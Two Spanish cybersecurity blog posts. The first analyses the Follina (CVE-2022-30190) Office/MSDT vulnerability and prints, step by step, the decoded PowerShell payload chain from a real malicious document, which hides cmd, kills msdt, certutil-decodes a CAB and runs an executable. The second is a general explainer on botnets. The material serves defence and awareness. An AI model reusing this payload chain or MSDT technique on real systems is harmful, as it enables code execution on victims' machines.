Nota 17/06/2022: Microsoft ya ha subido un parche para la vulnerabilidad CVE-2022-30190 “Follina” dentro de la actualización de Junio de Windows, Se recomienda actualizar los equipos cuanto antes.

En los últimos días de mayo de 2022, la comunidad de ciberseguridad ha hecho eco de una nueva vulnerabilidad que afecta al sistema operativo Windows y el paquete de ofimática Microsoft Office. Esta nueva vulnerabilidad CVE-2022-30190, bautizada como “Follina” es capaz de ejecutar código arbitrario en las últimas versiones de Windows y Office con solo un click o incluso con 0 clicks.

Todo empezó por un Tweet del grupo de investigación en Ciberseguridad nao_sec. Este grupo japonés estaba analizando un documento infectado que había sido subido en el portal VirusTotal (Un servicio gratuito que analiza archivos y URLs en busca de malware).

Como dice el tweet, dentro del documento .doc hay una referencia a un link externo a una URL que carga un archivo HTML y este es capaz de ejecutar código arbitrario en PowerShell.

El documento hace uso de una utilidad en Word que carga una plantilla en remoto y lo muestra en el documento. Esta utilidad lo que hace es cargar un archivo HTML que define la plantilla del documento alojado en un servidor remoto.

El actor hace una referencia a una URL donde tiene alojado un archivo HTML donde podemos destacar dos cosas:

• Hay un bloque de comentarios donde hay un montón de “A”s, aún no se sabe a ciencia cierta por qué es necesario pero esta entrada del blog de Bill Demirkapi indica que hay un Buffer de un tamaño fijo en una función que procesa el HTML, por lo que si el archivo es menor que 4096 bytes, no es capaz de iniciar el payload. Estas “A”s funcionan como relleno para que el archivo pase ese límite.
• Vemos que dentro del HTML, hay una referencia a una URI con un esquema que hace referencia al protocolo ms-msdt utilizado por el sistema operativo para ejecutar el solucionador de problemas de windows.

(Nota: en vez de poner http:// o https:// como en las URIs que todos conocemos, en esta URI contiene ms-msdt:/).

El esquema ms-msdt hace referencia al paquete PCWDiagnostics, más conocido como el “Solucionador de problemas” de Windows que se suele utilizar cuando no funciona el sonido o el WiFi..

Esa URI lanza el programa con una serie de parámetros. En uno de los parámetros vemos que usa sintaxis de PowerShell, donde se encuentra el payload codificado en Base64. Si lo decodificamos podemos ver lo que contiene:

$cmd = «c:\windows\system32\cmd.exe»; Start-Process $cmd -windowstyle hidden -ArgumentList «/c taskkill /f /im msdt.exe»; Start-Process $cmd -windowstyle hidden -ArgumentList «/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil – decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe»;

Estos comandos hacen lo siguiente:

• Abre una ventana oculta de cmd.exe.
  • Mata al proceso msdt.exe.
  • Hace un bucle de los archivos que se encuentra dentro de un archivo .rar buscando una cadena en Base64 que codifica un archivo CAB.
    • Guarda el archivo CAB codificado en Base64 como 1.t.
    • Decodifica el archivo CAB codificado en Base64 y lo guarda como 1.c.
    • Descomprime el archivo CAB 1.c en el directorio.
    • Y por último ejecuta rgb.exe que seguramente se encontraría dentro del archivo CAB.

(Nota: un archivo CAB (.cab) se refiere a un archivo Windows Cabinet cuyo contenido tiene datos comprimidos, parecido a los ZIP. en este caso el archivo CAB tenía dentro un archivo ejecutable llamado rgb.exe).

En resumen, un documento aparentemente inofensivo sería capaz de ejecutar código arbitrario en el equipo de la víctima, aunque éste lo vea en vista protegida. Y para empeorar las cosas, si en vez de un archivo de word .doc se trata de un archivo de Formato de Texto Enriquecido .rtf simplemente con ver en archivo dentro del explorador de Windows es capaz de ejecutar código arbitrario sin ningún click.

En esta prueba de concepto publicada por Benjamin Delpy podemos ver cómo es explotada esta vulnerabilidad. Nada más abrir el archivo .doc con las últimas versiones de Windows y Microsoft Office, podemos ver cómo se abre la ventana del solucionador de problemas y cómo después aparece la calculadora de Windows que ha sido lanzada por el payload.

Aún sin parche publicado por la gente de Microsoft, la únicas formas de mitigar este ataque es deshabilitar el protocolo MSDT como indican en esta publicación de Microsoft..

 

 

Esta vulnerabilidad ya catalogada como 0day afecta a las últimas versiones de Office y de Windows, por lo que en estos días se esperan una oleada de ataques por correo electrónico y otros medios utilizando estas técnicas, por lo que hay que tomar aún más precauciones con los mensajes que recibimos.

Referencias:

• https://twitter.com/nao_sec/status/1530196847679401984?s=20&t=DMjNT5ZNQTVi6LBD8Rxntg
• https://github.com/JohnHammond/msdt-follina
• https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
• https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e

 

 

 

Publicado el 24 de Junio de 2022
Por Alberto López
Departamento de Ciberseguridad

¿Qué es una botnet?

Una botnet es un conjunto de dispositivos conectados a través de internet que han sido infectados por algún tipo de malware y reciben órdenes por parte de un tercer actor. Estos dispositivos se conocen generalmente como ‘bots’ o ‘zombies’ y son coordinados de forma remota por un ciberdelincuente o bot herder para realizar ataques a gran escala. Cualquier dispositivo que esté conectado a la red ya sea ordenadores, routers, dispositivos IoT pueden llegar a formar parte de esta red.

 

Arquitectura de una red botnet

Generalmente la estructura de una red botnet se puede lograr mediante tres aproximaciones.

Modelo Cliente-Servidor

Las tareas que realizan los dispositivos infectados son dirigidas desde un servidor central conocido como C&C (Command & Control) y se comunican mediante protocolos como IRC ( Internal Relay Chat).

Modelo Proxy

Con el fin de dificultar la tarea de encontrar el servido C&C, se establece una serie de máquinas intermediarias o proxies. Ahora los clientes en lugar de comunicarse directamente con el servidor C&C lo hacen a través de los proxies y estos con el servidor C&C.

Modelo P2P

Esta es una aproximación descentralizada en la que los dispositivos infectados actúan tanto como clientes como C&C. Los comandos se propagan de bot a bot y para mantener el control, el bot Herder solo necesita tener contacto con cualquier máquina infecta. Este modelo es la evolución de las anteriores haciendo más difícil tumbar la botnet.

 

¿Cómo se infectan los equipos?

Existen distintos métodos de infección, entre ellos:

• Troyanos.
• Vulnerabilidades de día cero.
• Configuraciones inseguras.

 

¿Cuál es el objetivo de una botnet?

Como cualquier acto de ciberdelincuencia, su finalidad es la de obtener algún tipo de beneficio económico. Este se puede lograr a través de diferentes caminos, los más comunes son:

• Ataques de denegación de servicio o DDoS: este ataque se basa en la saturación de algún tipo de servicio, como una página web, hasta el punto de que deje de funcionar. Para ello utilizan un número elevado de estos bots de manera que accedan de forma simultánea al servicio hasta el punto de que colapsen el servicio.
• Envío de spam: envío masivo de correos fraudulentos con el fin de realizar estafas de tipo phising o distribuir malware.
• Venta y alquiler de la botnet: otra opción como viene siendo cada vez más común entre los delincuentes es vender un servicio. Su intención es vender estas redes a terceros que carecen de conocimientos para crearlas pero que desean realizar este tipo de ataque contra alguna entidad.
• Minado de criptomonedas:  el minado de criptomonedas es un proceso que requiere una gran cantidad de recursos hardware. Esto supone un coste elevado, pero existe una opción mucho menos costosa que es utilizar la red botnet. De esta forma los recursos utilizados para minar criptomonedas son los de la red zombie en lugar de los suyos, aumentando los beneficios de esta forma.

¿Forma mi empresa parte de una botnet?

A través de incibe podemos encontrar una herramienta para comprobar si algún dispositivo que este conectado a nuestra red forma parte de alguna botnet. Su funcionamiento se base en identificar si la dirección IP pública de la empresa forma parte de alguna red botnet. La herramienta se puede encontrar en el siguiente enlace: https://www.incibe.es/protege-tu-empresa/herramientas/servicio-antibotnet.

 

 

Publicado el 24 de Junio de 2022
Por Francisco Javier García
Departamento de Ciberseguridad